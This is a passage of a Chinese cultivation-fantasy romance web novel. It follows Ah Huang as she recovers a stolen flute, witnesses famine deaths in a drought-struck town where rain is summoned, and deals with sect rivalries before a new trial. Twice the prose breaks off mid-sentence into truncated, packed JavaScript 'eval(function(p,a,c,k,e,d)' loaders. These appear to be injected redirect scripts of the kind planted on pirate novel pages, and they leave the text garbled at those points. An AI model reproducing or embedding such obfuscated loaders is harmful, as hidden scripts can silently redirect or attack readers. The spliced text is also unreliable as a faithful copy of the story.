可是阿凰心里已经有了一个很可怕的答案,只是不敢细想。 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“不要轻易把一个人想得太坏,可也不能把一个人想得太好啊。”夜月姬说,“害人之心不可有,防人之心也不可无哦。” 看她陷入苦恼,夜月姬劝道:“那就先别想这么多了,出去散散心吧,正好人都不在,没事干,给自己放个假。” …… 清音门。 秋水榭原本是韩仙仙怀有身孕时,顾霖建来让她安胎休养的地方,如今空闲着,正好辟出来给玄极单独住,一是他的身份本就与那些弟子们不同,一同住在客居倒是自降身份了,传出去让人觉得怠慢,二是他喜静,秋水榭最适合不过。 小桥流水,桥边立了个亭子,树叶落下缓缓飘向地面,落到一半,亭子中伸出一只手拈着叶子。 玄极眉间微微皱着,似乎有一些困顿。 将落叶丢在水中,顺着水流飘远,他收回目光,凝视着手中的雕像,若有人看见了,便会惊叹,这是孔雀公主像。 不知为何,他的梦里总是出现一个身穿孔雀流光裙的女子,梦里的他对她感情颇深,他实在困惑,后来无意间得到这尊雕像,竟与梦里女子的模样完美契合。 孔雀公主师夷则,那是西方颢天神域,孔雀王的后代,同时也任职司音天神,是神界赫赫有名的人物。 玄极更是费解,他为何会频频梦见她? 梦里的感情,如此深刻真切,有时他醒来竟也会被那种情绪牵扯住一时半刻,开始怀疑自己是否前世与孔雀公主有关? 另一侧回廊下,顾安宴原是来找玄极的,父亲告诉他无论如何也要和一些来客好好往来,他便只能硬着头皮而来,打算与玄极讨教问题。 没想到看到玄极独自看着手里的雕像出神,他不好打搅,又不能半途而废,一时走也不是留也不是。 看着看着,顾安宴也被玄极手中的雕像吸引去目光,这么一看才发现,这雕像做功精致,完全复刻了一个女子完美的面容。 他坚信,如果这个女子是真实存在的,一定比雕像更美。 如果真实存在的话…… 玄极忽然抬头望了过来,顾安宴吓一跳,以为自己的失礼被发现了,正窘迫着,身后传来顾纯儿的声音:“安宴,你也在这呢?” 顾安宴松了口气:“我来找玄极长老想讨教一下问题,看到他在沉思,不好打搅,正好大姐来了,你们先聊着吧。” 说罢一个人溜走了。 而顾纯儿从刚才的情绪中转移注意力,巧笑嫣然跑向玄极:“师父,我命人准备了一些点心,大家聚在一块吃吃喝喝,我们走吧。” 玄极早已收起雕像,可她还是看见了,那是一个女子的雕像,她不敢深思。 他走了过来,顾纯儿心情便有所好转。即便他不喜热闹,可他还是愿意陪着她,一个女人雕像而已,何必与一个雕像计较。 40. 天神在哭泣 听说金溪镇有一大片金色稻田,一眼望去十分壮观,成了一处小有名气的景色,吸引不少来客。 莫名的,阿凰想起镜中世界的金色油菜花田,心里空落落的。 闲着也是闲着,她想着干脆给自己找点事做,出去散散心,简单收拾一下就出发了。 一路飞行,偶尔累了便停下歇息,不知是金溪镇太远了,还是她修为有限,感觉路程还是有些远的。 正好肚子有点饿了,阿凰看着下方有一个小镇,炊烟袅袅,便向下而去,点了一碗面简单吃过便起身要走。 “怎么会有人修仙修了这么久,还需要吃平民百姓煮的面啊?不会连辟谷都没做到吧?” 讥讽的声音传来,阿凰抬头看去,弥秋不知道什么时候出现在那里,手里拿着一只玉笛漫不经心地转着。 她心里冒出不祥的预感,低头一看,腰间的玉笛果然不见了。 “还给我。”她走过去,伸出手。 弥秋看着她,忽的冷笑一声:“这就是你的态度?” 阿凰收回手,态度强硬了些:“这本就是我的东西,要回来天经地义,谈何态度?反倒是你偷走了我的玉笛该反省才是,我不跟你计较,若你非要为难我,就别怪我不顾同门情谊了。” 面前的女子不屑大笑起来:“你有什么资格跟我讨价还价?还不顾同门情谊?你有那个本事吗?” 知道跟这种人讲道理行不通,阿凰心中盘算着要怎么趁其不意抢回来,这人的实力她摸不清,一时半会不敢轻举妄动。 然而不给她应对的时间,弥秋忽然将手一甩,像丢垃圾一样满不在意地把玉笛扔出去,她倒吸一口凉气,扭过身去找玉笛,却见笛子从上空掉下来,落进另一个女孩手里。 是弥秋的另一个同伴,四季姐妹团里的赵冬,她得意洋洋举着手,晃了晃手中的玉笛,炫耀着抢来的胜利品:“各凭本事咯。” 说罢扭头便跑,阿凰立刻追上去,赵冬时而笑嘻嘻的回头挑衅:“快点啊,这就跟不上了多没意思。” 身边的景色快速变换,阿凰已经顾不上自己身在何处,因为一个不注意赵冬就要从视线中消失了,每一次她跟丢时,赵冬就又从另一个地方冒出来,好像不想轻易结束这个游戏,吊着她这只猎物。 “你怎么比我想象中还弱啊?你是怎么当上玄极长老的弟子的?” 阿凰只能保持冷静,忽视她的挑衅,专心追上去。 又过了许久,阿凰有些体力不支了,不得已先放慢速度喘口气,可是再一抬头,赵冬又不见了,身边的环境也从热闹的小镇变成了一个破败的地方。 还没等她观察环境,就又看到了赵冬,她鼓足一口气冲上去,狠狠揪住对方的手臂:“把玉笛还给我!闹够了没有?真以为我不敢告诉师父吗?” 没办法,只能搬出玄极了。 赵冬果然心虚起来:“行了行了,跟你闹着玩,还给你还不行吗。” 一边不情愿地在身上摸索,可是怎么也摸不到,赵冬又仔细翻找起来,愣住了:“不见了……” 被耍了这么久,阿凰肚子里一股火,不肯轻易放开她:“你再仔细找找。” “真不见了,我能有什么办法?难不成被偷了?”赵冬反而不耐烦起来。 阿凰有一种想骂人的冲动,刚要开口,视线里看到有个人跑远了,慌慌张张的,露出玉笛的一角,她没功夫跟赵冬计较,推开她就去追。 那人身子瘦得干瘪,却灵活得很,似乎对这个地方很熟悉,在各种角落里钻来钻去,阿凰即使飞起来也被各种障碍物限制,眼看着他钻进了一个狗洞,阿凰落下去时,再怎么找也不见那人的踪影。 她没招了,靠在木架上喘口气,浑身的力气好似被抽干了,身心俱疲。 为什么只是出来玩就碰到一连串的破事?难道她就这么倒霉吗?好好的待在观画阁也被人找麻烦,出门更是意外不断。 算了算了,认栽吧,回去另买一支应付着用吧,也用不太贵,免得又被抢走了拿不回来可惜。 翻过一堆破破烂烂走出去,前方的人们目光投向同一个地方,阿凰看去,却见到原本应该在陪顾纯儿过生日的独孤凤渊,此时正揪着一个人不放。 那人还在挣扎,阿凰一眼看出来他就是刚才那个小偷,便冲过去:“小偷,把玉笛还给我!” 见到是她,独孤凤渊有点意外,伸出手,掌中握着一支玉笛:“这是你的?” 笛子上刻了个“凰”,阿凰自然能立刻认出来,接回手里收好:“谢谢……不过你怎么在这里?” 她原想问,你们不是去清音门了吗?内心却立刻改变想法,还是继续装作不知道吧。 独孤凤渊只是望向远处:“听说金溪镇闹河妖,我来看看。” 其实是在清音门时,韩仙仙发现他对女儿的心意,想考验他一番,让他来金溪镇拿河妖内丹讨女儿开心。 至于顾纯儿为什么不开心?想都不用想,又是因为玄极。 独孤凤渊想不明白,为什么她非要喜欢一个总是让她难过的人?如果换作他,绝不会让她此生再落下一滴眼泪。 此时阿凰才有功夫观察现下的环境,烈日当头,地面尘土飞扬,枝头上早就没了叶子,每个人脸上都是灰扑扑的,面黄肌瘦,穿着精致的她和独孤凤渊在此处显得格格不入。 这地方受了这么严重的旱灾啊…… 那小偷求饶道:“这位大爷你放过我吧,我上有老下有小,一家几口人都要饿死了,不得已才以偷盗为营,我一时鬼迷心窍偷了你家夫人的笛子,也只是想换口吃的,我再也不敢了!” 你家夫人?阿凰心中一跳,呼吸都不敢放重了,悄悄抬眼看了独孤凤渊一下,他面色平静,并没有听到那句话似的。 “你有难处,被你偷了东西的人也是无辜的,若有不服,跟官差说去吧。” 说罢就要押送小偷去报官,他却笑了:“这鬼地方都这个样子了,官差都自顾不暇,哪里还管我们平民老百姓的死活?您还是别费力气了。” 一眼望去,满地歪七扭八都是人,一个个活似饿死鬼,甚至已经有人躺在地上休息后再也没醒来。 阿凰感觉自己嘴唇上也干了。 突然一声惨叫,她吓得一扭头,小偷被折断了一根手指,独孤凤渊道:“滚吧,别再让我看到你偷东西,这次给你一点教训。” 说完给了小偷一脚,把人踹得老远。 念及他家中还有人等他吃饭,只折了一根手指头,不影响干活,略施惩戒。 来到河边,河床早已干涸,泥土裂成一块块的,一点水分也没有,更别提河妖了。 一路上饿死渴死不少灾民,阿凰觉得自己一定要做些什么,可她并没有召唤雨神降水的能力,没有将别处的水源搬过来的力气,更别提那么多人需要填饱肚子。 “饿死这么多灾民,可怎么办……” 听了她喃喃自语,独孤凤渊道:“向那帮贪官和员外借粮食。” 阿凰不解:“死了这么多人都没人管,他们怎么会借粮食呢?” “不借也得借。”他自顾自走去,阿凰立刻跟上。 来到一处府邸前,周围的百姓家已是家破人亡,这里看起来却毫无影响。 独孤凤渊也不客气,直接朝里面丢了一颗石子,下一刻便传来一声爆炸,门口的匾额都被轰得掉下来了。 看得阿凰有点想笑,像个丢炮仗捣乱的顽皮孩子。 很快就有人开了门,大腹便便的县丞被人搀扶着跑出来,还没看清人就骂骂咧咧,待他站直了腰,看清来找事的是两个小年轻,火气更大了:“你们两个找死是不是?” 说着就喊人要拿下他们,独孤凤渊动了动手指,所有人的武器都凭空化为粉碎,他们也都受到威压软倒在地上。 刚刚还很嚣张的县丞都快吓尿了:“大仙饶命!大仙有何吩咐,我们照做就是了,别杀我!” “你们平时搜刮民脂民膏,这时应该轮到你们回报百姓了。”独孤凤渊道,“你渎职导致死了这么多百姓,本就是死罪,理应速速弥补,否则死后必定被打入十八层地狱。” 没想到县丞精明得很,笑了笑说:“大仙啊,你们修仙的人很相信什么因果报应,前世今生的,可我们普通人呢,目光短浅,只能顾得上眼前的利益,所以说,要是让我牺牲 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通过不正当途径得来的东西,到手太容易了,尤其是数目还不小,让他还回去比宰了他还难受。 等他喊累了,独孤凤渊才说:“你不肯答应也行,我还有一个选择供你选,如果这也不行,我就没耐心陪你耗了。” 眼看还有别的选择,县丞小眼睛都睁大了:“大仙快说来听听!” “你命令下去,所有富豪每日轮流在自家门口布粥,违反者重罚,即日起立即执行,如此所有人都能记得他们的好,上报也得了名声,一举两得。”独孤凤渊宣布道,态度之坚决,掷地有声。 如此,县丞一个人的责任分担为一群人的责任,他心里便会平衡许多。 阿凰听得有点迷糊,不明觉厉,不过她想到一个问题,没有水怎么煮粥? 县丞也说:“大仙高明,不过哪来的水煮粥呢?” 却听到独孤凤渊冷嗤一声:“非要我亲自去扒你们家里的地窖?” 看着老胖子心虚的表情,阿凰便明了了。这种时候他还能活得这么滋润,想必是家里什么也不缺,有存货。 有了监督,布粥的事很快就开始了,独孤凤渊要求县丞以身作则,先从他家开始。 眼看一群饿得两眼无神的百姓排着队,好歹看到了生的希望,后头的人看着前头的人领到粥,不住地咽口水,阿凰看得揪心。 “你只管监管发放粮食,水的事我去解决。” 想起独孤凤渊临别前的话,阿凰打起精神,跟着亲自发粥,还得盯着有没有人耍小动作。 队伍前,一位老人颤颤巍巍,举着碗的手在发抖,脸上却带着笑容,好像终于熬到了希望出现。 旁边的人劝他别急,就快到他了,阿凰也笑着说就快了,手上忙不停。 老人前面的人走开后,他把碗递过来,干瘪的手臂抖成筛子。 阿凰刚拿到手,把粥盛进碗里,忽然间人群骚动,她刚抬头,就见到老人的身体轰然倒塌,任旁人扶住他,怎么呼唤都再没了声响。 即将领到食物前,他死了。 明明希望就在眼前。 阿凰身体僵住,这下轮到她的手发抖了,无法控制自己的身体行动,眼睛都忘了眨。 天地间风云变幻,雷鸣阵阵,乌云密布。 旁边的人都在庆祝:“要下雨了!” “那位大仙向上天请神降雨,成功了!” 雨滴密集地砸下来,瞬间所有人浑身淋透,阿凰的头发结成了一块块,粘在脸上,有水珠从脸上滑落,她分不清是雨水还是泪水。 看着众人如释重负,她仰着头,任由雨水流进嘴里,咧嘴笑了笑,却又觉得很悲哀。 她该笑吗?还是该哭? 独孤凤渊一回来就看到她又哭又笑的模样,动了动唇,发现自己又变得嘴笨了。 “天神在哭泣。” 他听到阿凰说,头一次从这个普通的女孩身上看到了一种名为神性的东西。 世界和平太过远大,她只希望她看到的贫苦能得到缓解。 41. 人选 老人的尸体得到了妥善处置,独孤凤渊抬起尸体时,感受到滚烫的水滴落在肩上,抬头看到阿凰还在落泪,眼泪一大颗接着一大颗往下掉,好像永远也流不尽。 如果早点下雨,如果他们早点来到金溪镇,是不是就不会死这么多人? 可惜没有如果。 她还是遗憾,预想了很多种可能,最后发现自己太无力了,什么也无法改变,只能看着一切发生,她甚至想,如果她是齐天大圣,也许就能入地府带回无辜死去的人。 有时候她也自我反思,自己是不是太敏感了?可人皆有恻隐之心,她做不到改变什么,可也做不到内心冷漠。 明明身为修道之人,却管不了凡尘事,有时恨上天给了她容易共情的心,却没有赐予她拯救世间的能力,自己过得不怎么样,又见不得众生皆苦。 就像在前世,她看到老师努力讲课,台下却无人听讲,会觉得心酸,自己听不懂也要抬头认真望着老师回应;看到流浪动物,会因为自己不能收养它们而愧疚;看到将近四十度的天气,农民工一身灰在绿化带躺着睡觉会觉得很难受…… 听说高敏人感受到的爱和痛苦都是双倍的,阿凰想,这是不是上天给她这类人的惩罚? “你不是太敏感了,你是善良。”夜月姬说,“这是一种美好且稀有的品质,在弱肉强食的修仙界,许多人习惯了杀伐,内心早已失去平视众生的初心。” 只要做到自己能力范围内的事就好了,少内耗多行动,阿凰只能这么安慰自己。 旱灾导致河妖遁入地底下,把地面上的水都吸干了,独孤凤渊擒了它,取到内丹,便要带回清音门。 临别前,他欲言又止,看阿凰还是情绪低落,说:“世间万物皆有规律,生老病死也是人一生的命数,那老人命数已尽,你不必自责,能亡羊补牢就是最好的结果。” 她只是点点头,不知道听进去了没有,独孤凤渊又道:“外面变幻莫测,你修为低微,回紫微派好好待着吧。” 修为低微修为低微,她真是恨透了这几个字,时刻提醒着她多么无力,也提醒着她被人嫌弃。 什么时候她也打通任督二脉,修为大涨华丽归来,顺便恢复自己原有的一切,打脸看不起她的人啊? 一只骨节分明的手伸过来,捏了一张帕子,阿凰抬头,看到独孤凤渊面色如常:“收拾好情绪,以后这样的事还会有很多,太软弱的人会被修仙界吞没。” 接过手帕擦干净泪痕,道了声谢谢,阿凰内心有点不服气,她的心态已经很好了吧?也没有崩溃发疯,自己内耗着就过去了,又不影响别人,到头来还要被独孤凤渊嫌弃软弱,要是知道她体质不好,能好好活着已是万幸,根本不指望能修成什么高手,现在的一切已经是她能力范围内做到最好的了,他还会这么说她吗? 不免又想到,如果换作顾纯儿,他早就心疼得不行了,哪里还会这么冷漠,一点也不怜香惜玉。 他向她递出手帕,她还是有点意外的,他也会安慰她啊。 望着独孤凤渊离去的方向,早已彻底没了踪影,阿凰巡视一圈,确保没别的问题就动身回门派了。 看着她腾空飞身而去,地上的人们惊叹原来是仙女下凡拯救众生,跪拜感谢。 而阿凰听到动静,回头向下望去,看着劫后余生的众人,宽慰一笑。 救苦救难真是一件很有意义且充满成就感的事,如果能做得再多些就好了。 …… 清音门,顾纯儿刚应付完众人,打算去寻找玄极,珍惜难得的独处时间。 回家一趟,她打算多留几天再走,大不了快到了历练的日子再回去,有玄极在总不能错过吧?即便出问题,有他在别人也不会说什么。 先前她有意问起玄极那尊雕像的事,他却说是无意中得来的,就带在身边,就这么敷衍了她,多余的信息并不打算透露与她,他还是那样,只要他不肯说的事,她使劲浑身解数也打听不来。 越不让她知道,她就越要知道。 明明对她展现了好感,却瞒着她这种事,算什么?会让她觉得自己的努力都是白费的。 带着好奇心,顾纯儿脚步都快了些,脚步声噔噔噔踩在木板上,穿过廊下。 还未到达,半路杀出来一个门人叫住她:“大小姐!不好了,二小姐不见了!” 她一头雾水:“什么不见了?不见就去找。” 门人回禀道:“全府上下都找了个遍,实在不见二小姐的踪影,门主亲自查看,发现二小姐早已不在府中,最后的身影消失在府外。” 顾纯儿简直要气炸了,她大好的日子,带了一堆人回来庆贺,原本该是热热闹闹的大喜日子,自家二妹却状况百出,先是在众人面前不给她面子,又在这关头搞失踪,没一点省心的,好好的日子就知道添麻烦,完全就是在打她的脸。 当即掉头就走,转向另一个方向,既然她管不住这死丫头,就让爹爹和娘亲出马亲自收拾她。 还未到达父母的住处,半道上撞见了韩仙仙,顾纯儿忍着怒火,也顾不上撒娇了:“娘亲!双儿不见了,你们怎么不管管?” “这丫头牛脾气一个,你还没习惯吗?她爱去就让她去吧,正好让她出去历练历练,吃了苦头就自己回来了,若能有点长进最好,好了,不用因为这事去打扰你爹。” 韩仙仙说着强硬拉住女儿的手转身走,顾纯儿还是不服:“这种日子,妹妹失踪了别人怎么看我?她就非要在这时候闹吗?你们也不管管,真是的!” 她真想狠狠收拾妹妹一顿,父母不舍得管教,她可不会心软,她觉得就是父母太惯着妹妹她才这么无法无天,可是她一个大家闺秀,大动干戈亲自收拾弟弟妹妹,传出去实在不好听。 韩仙仙只是笑呵呵地抚平女儿的怒火,说起另一个话题:“你和他怎么样了?” “什么他?” “你以为我不知道吗?还想瞒着你娘?你可是我肚子里出来的,眼珠子一转我就知道你想什么。” 顾纯儿哑声,支支吾吾道:“没、没什么啊。” 美若天仙的女人莞尔一笑,像朵美丽却充满危险的罂粟花:“你怕我阻止你?你娘我可不是眼光短浅的,你看上的人乃人中龙凤,我自然盼着好,我可是鼓励自己孩子要勇敢追爱的,希望你也有我的风范,毕竟当初我也是如此,才有了你们三个。” 想想自己父母的甜蜜,顾纯儿也在羡慕,她一直渴望能够找到真爱,一生一世一双人,像美好的爱情话本那样,只可惜这些年她和不少人暧昧过,都没有好结局,每次只有一个美好的开始,很快就散了。 每一次迅速找到目标,她本以为要迎来真爱,要有美好的进展,没多久就结束了。 真是奇怪,她就不信了,以她的条件真的找不到一个良人? 不过她依然幻想着美好的爱情,有了父母作为范本,她就更勇敢出击,她知道自己资本不错,只要她想,就不会失败。 “先别告诉爹爹,我想稳定下来再亲自和他说。”顾纯儿带着羞涩的声音小声说。 韩仙仙答应下来,又说:“如果这一个不行,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女子还要说什么,另一个女孩甜美的声音插进来:“师父好雅兴,小桥流水,美人做伴,好不悠闲。” 待走近了,顾纯儿才故作惊讶:“呀!丽丽?你怎么在这里?我还以为是谁呢。” 阿依古丽眼神躲闪:“我怕玄极长老无人伺候,住不习惯,就过来看看。” “这里人这么多,怎么会缺人伺候呢?丽丽不会是嫌我清音门招待不周吧?”顾纯儿道,“而且丽丽你不知道吧?师父喜静,也就只有我缠着他才允许我陪着,你不用费心啦。” 看了看玄极毫无表示,阿依古丽干笑两声:“那就好,是我多虑了。” 说罢便找借口离去。 回想起刚才玄极的表现,顾纯儿很满意,内心暗爽,她只是没想到,自己的好姐妹居然有不该有的想法啊。 独孤凤渊带着河妖内丹回到清音门时,看到的就是顾纯儿缠在玄极身边开心的样子,哪里还有之前闷闷不乐的模样? 他收好内丹,想着下次她不高兴的时候再拿出来讨她开心吧。 不过,向门主夫妇表示自己实力还是很有必要的,若要和清音门联姻,门主夫妇是最好的突破点。 见到韩仙仙时,对方笑得甜情蜜意:“我对你可是很满意的,可惜我那女儿犟得很,你若要她回心转意,还需努力哦。” 不愧为修仙界第一美人,若是换作别的男人,早就招架不住了。 不得不说,这对母女都有轻而易举撩拨男人心的本事。 虽然知道对方在吊着自己,但独孤凤渊对这件事有信心:“韩夫人请放心,我对纯儿痴心不改,定等到她对我刮目相看。” 42. 战前准备 第二次凡尘十二镜历练即将来临,阿凰看大队伍还没有回来的意思,有点着急,这帮人不会因为给顾纯儿庆生太嗨了,把正事给忘了吧? 别搞啊,她一个人怎么进? 他们不在的这几日,阿凰自己跟着山水侗和乌妤在后山吐纳吸收天地灵气,似乎有所领悟。 希望这样对历练有点帮助,希望下一次镜中世界不要那么痛苦。 有一味药用量大,就快吃完了,阿凰便想着在历练前正好先把药补齐了。 刚来到药宗,大老远就听到吵闹声,阿凰心生好奇,快步赶去,就见丹房中乱成一锅粥,几个弟子前仆后继追赶着,一只金毛灵兽上蹿下跳,看下方的人抓不到它,得意地摇晃脑袋甩尾巴,简直无法无天,东西都被它碰倒一地。 “祖宗!你快下来吧,算我求你了……” “别跟它白费口舌了,它哪次是听话的?趁寻真君回来之前赶紧把它抓住,这一地鸡毛,可怎么向她交代?” 还没搞明白怎么回事,阿凰正有点尴尬,走也不是留也不是,那灵兽与她对试一眼,一个飞奔落到她头上,嚣张地跳着。 还没伸手抓它,它就自己跳下来跑了,几个弟子连忙去追,阿凰拿出玉笛吹奏起来,曲声仿若化作一缕青烟飘去,环绕住灵兽,它步伐变缓,最后干脆站着不动了。 弟子们趁机逮住了它,走过来向阿凰道谢。 她忙说不必,又道出自己此来的目的,几个弟弟望了一眼乱作一团的丹房,与她面面相觑。 画面就变成了阿凰与几个弟子一起收拾丹房。 “这是怎么了?”一道女声从外边传来,阿凰与几个弟子齐转头,那人已经来到面前。 一弟子回禀道:“寻真君,金子又捣乱了。” 原来这只金灿灿的灵兽叫金子啊。阿凰看了看暂时被关起来的金子,它刚才还不服气地乱撞,自打寻真君到来的一瞬间,它就老实了。 “多亏了这位师妹帮助,我们才把金子抓回来,师妹正在同我们收拾丹房。”弟子又说。 在此之前阿凰便听说过,寻真君是主管药宗的,便说:“见过寻真君。” 对方笑着看她,虽只是第一次见面,却让阿凰有一种如沐春风的感觉。 “你是阿凰吧?” 真是奇怪,她身上也没写字啊,这就认出来了?难道寻真君会读心术? 似乎是看出她的疑惑,寻真君道:“我见识过你的天舞缭乱,你很厉害,资质十分特别,你为人也很独特。” 原来如此。阿凰觉得也不一定是自己跳个舞就被那么多人看到了,为人独特是高情商说法罢了,不就是她长相声音丑得特别,一联想就知道是她了。 对于这个事实,她竟开始麻木了。 寻真君只是动动手,杂乱的丹房就恢复整齐的模样,而后她主动问:“你来这里是需要什么药?我帮你找找看。” 说得谦虚了,她堂堂药宗主管,一提药名就立刻知道在哪里了吧? 阿凰说出自己需要的,就见寻真君看向某处,动动手指,药品便飞了过来,她伸手接住,道了声谢就掏荷包要支付灵石。 寻真君阻止道:“你今天帮了我大忙,我可不能再收你的好处,就算是我对你的答谢,加上你的辛苦费,如何?” 推脱几番,阿凰被她说服了,再次谢过才回了观画阁。 不得不说第一印象真的很重要,现在她对寻真君的第一印象就不错,感觉人很好,给人一种亲切大姐姐的感觉,说她是门派大师姐也不为过,和山水侗一样都让人觉得很靠谱。 直到日头向西边慢慢落下,随顾纯儿出行的大队伍才不紧不慢地归来,阿凰躲在屋子里望着外面的热闹,晚霞金色的光从窗口进来撒在地上,也许是因为体寒,她感受不到温暖,反而因此身上打了个寒颤。 “有时我会怀疑,一开始选择附身你是不是错的。”夜月姬的声音从脑海深处传来。 阿凰对着空气笑了一下:“怎么会错呢?若不是你附身了我,我也不能活到现在,相比于虚无缥缈的容貌,还是生命最重要,虽然有时我也会因此烦恼,可是人不能既要又要,而且,和你认识这么久,我也很开心。” 至少,她脑子里还有个人愿意关心她,倾听她的声音,而不是让她彻底陷入孤独,如果一整天都只能自言自语,她会抑郁的。 一直到很晚,顾纯儿那边才安静下来,人们陆陆续续离开,阿凰终于得以躺下入眠。 许久之后,耳边是球球喵喵叫的声音,刚醒来,阿凰就感觉肚子上有点沉,一睁眼看到球球趴在那儿,每日天微微亮它就开始叫,好在声音不大,叫一会儿就停了,否则阿凰真怕打扰到别人。 这次她醒得够早了,迅速收拾一番,安顿好球球便出门去,刚走出观画阁,就见到一个人影立在那儿,光线昏暗,走近了些阿凰才看清,是独孤凤渊,他双目直直盯着顾纯儿屋子的方向。 见了阿凰过来,他也没分给她一个眼神,不知是没看到,还是早就发现了懒得关注。 “好早啊。”脑子里迅速酝酿,阿凰才想出这么一句。 某人只是从嗓子里压出来一声“嗯”。 死嘴,快说啊! 短短时间内脑中又加速酝酿话题,看了看还没有亮起灯火的屋子,阿凰又说:“纯纯昨天忙累了吧,估计睡得正香呢。” 这次独孤凤渊没有理会。 “要不我去叫叫她?” 他只说了个“不急”,阿凰没辙了,只能跟他干站着。 她又想说点什么,另一边来了人,一眨眼就到她跟前,看向顾纯儿的屋子,问:“你们在这干什么?” “在等纯纯。”阿凰说。 “还没起来?我去叫她。” 宋清希刚动身,就被独孤凤渊拦住去路,这两人之间本就充满火药味,一瞬间气氛降为冰点,冰冷得可怕,阿凰真怕他俩打起来了。 “你想干什么?”独孤凤渊占着去路寸步不让。 “当然是亲自去叫纯儿师姐起床。”宋清希的目光在两人之间扫了一下,“难道像你们两个一样在这里傻站着?” 被这么一指责,阿凰想说一句冤枉,她是想去叫顾纯儿起床的,可是独孤凤渊没有一点那方面的意思,她就怕自作主张过去了,又被指责打扰人家。 很显然,独孤凤渊生怕打搅了顾纯儿的美梦,不舍得把她叫起来。 面对宋清希的冷嘲热讽,他也不恼,只淡定说道:“修行之人讲究心平气和,我看宋师弟今日的状态有些魔怔,真的能参与试炼?” “我看魔怔的另有其人。”宋清希冷嗤一声,“一大早杵在这吹冷风,想看着纯儿师姐起迟了耽搁时间?觉得自己不够招人嫌?某人可别忘了,上一次镜中世界自己多过分,把纯儿师姐吓得不轻,好几天没被她搭理,可怜,可笑!” 这小子嘴巴淬毒了,他敢说阿凰都不敢听,她想劝架,可是她似乎是最没有话语权,最没有资格的那个,一露头就被秒了。 眼见着独孤凤渊脸色果然变得难看,宋清希也是一点退让的意思都没有,两人之间的火药好像下一秒就要点炸了,阿凰弱弱地上前一步:“时候也差不多了,我去叫纯纯吧。” 宋清希却斜蔑她一眼,好像把怒火转移到她身上:“你凑什么热闹?” 她也有火气了,怎么一大早每个人都这么不对劲?合着起床气都撒到她一个人身上了?尤其是宋清希这死小子,从一开始就对她有莫名的恶意,仅仅是因为喜欢顾纯儿,又是因为顾纯儿。 他喜欢顾纯儿就喜欢呗,关她什么事?为什么老是针对她?为什么每个人都要因为顾纯儿的事给她脸色看?甚至这一切可以说和她无关,都是他们自己内部的事。 而且这都什么时候了,就不能老实点? 阿凰只觉得有一种打游戏组队组到恋爱脑的无力感,她是那个一心想上分但是实力一般的,只能蹭车,可是车队里都是恋爱脑,只想搞多角恋,空有一手好本事,一天到晚正事不干,就知道暧昧来暧昧去,绝活哥们因为争抢贵族少萝皇打得不可开交,她敢无语不敢言,在心里苦哈哈地想:什么时候才能开下一把啊? 看到阿凰被呛得呆住,被宋清希撒气,一时哑声愕然,无辜又无助,独孤凤渊莫名有点看不爽,道:“宋师弟这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等候半晌,在她以为顾纯儿回去睡了个回笼觉时,她终于开门出来了。 “阿凰,我今天穿这身怎么样?”顾纯儿提着裙摆展示。 光看衣服就已经很精致了,更不用说她这一身精致的打扮,阿凰说:“纯纯穿什么都好看。” 对方嘻嘻一笑,抬头看见了远处等候的两个人:“我们走吧。” 还没到近前,那两人就迫不及待迎上来,宋清希首先夸赞:“纯儿师姐今天好好看!” 独孤凤渊也问候:“纯儿师妹今日歇得可还好?” “一切都好。”顾纯儿甜甜地回应。 一路上他们说什么阿凰都没心思关心,因为她发现一大早的怎么这么冷啊!她只能抱着手臂跟在后头。 “刚才她在你面前不刻意夹着嗓子的时候,其实也是正常的甜妹音。”夜月姬开机了。 阿凰冷得没空搭理她。 “可是在这些男人面前,她一旦夹起来,就完全是刻板印象里的网络女神少萝音了,就是那种……用最夹的声音骂着最刻薄的话,给人一种见光死的美感,结合她的长相来看这确实很符合。” “你到底跟她有什么深仇大恨啊?至于吗?”阿凰听得头大。 没等到夜月姬说话,阿凰就听到独孤凤渊说:“今早雾气重,纯儿师妹身子不好,可觉得冷?” 宋清希也急着表现自己:“我把我的外衣给师姐穿,千万别着凉了。” “还好啦,我好歹也是修仙之人,怎么会这点凉气都撑不住?那也太弱了点。” 有被骂到。阿凰挺直了腰板,强忍着凉意,手臂上起了鸡皮疙瘩,汗毛倒竖,身体也在忍不住瑟瑟发抖,可她不要做被嫌弃的弱小的修仙之人。 这一次玄极提前通知,四人便直接到达神机庭,阿凰在人群中望了一眼,视线和乌妤正好撞上,相视一笑。 还没收回视线,就看到许萧然在冲这边热切地打招呼,是看顾纯儿的,阿凰便收起准备回应的手。 时隔数日,再次被光华照耀,阿凰意识开始恍惚。 43. 凡尘十二镜ep2 国公府的梅花开了两回,又败了两回,阿凰也在这里住了两年。 再过几个月,就是她齐笄的日子,也到了该谈婚论嫁的年纪,到时候,也许老太太会念及这些日子的陪伴,给她指点一门好亲事,她也大了,不能一直待在府中。 来到国公府这么久,她从没想过这回事,也并不想嫁一个不了解、不爱的人,可若是老太太安排的,她便无法拒绝,毕竟她一直受老太太照顾,老太太那么疼爱她,她不想忤逆老人家的心意。 若有资格选择,她当然也想嫁自己心中真正忘不掉的人啊。 并不是她有多么愚孝,若不是来到国公府,加上有老太太关爱,她此时不知还在哪里受苦。 两年前,阿凰投奔姑姑而来,也就是国公府的二夫人,她被分配去和最不受宠的二小姐住,每月的月钱一半被姑姑拿去,剩下的还要补贴家里。 即便如此,国公府物质丰富,下人的吃穿用度已是贵族圈子里最好的,更别提公子千金们,阿凰作为客人,按照关系来看也算个小姐,条件自然不会差到哪里去,大户人家还是非常注重体面的,只要她不挥霍,正常的衣食住行还是有保障的。 看着铜镜里自己的面容,阿凰有点晃神。 她是爹娘捡来的,这不是个秘密,很小的时候她就知道了,别人从来不避讳着她,甚至在她经过后,那些人还要大声议论:“这就是那个捡来的孩子?长得还挺水灵的。” 从小就听别人议论,她知道爹娘患有不育之症,把她捡回家当孩子养。 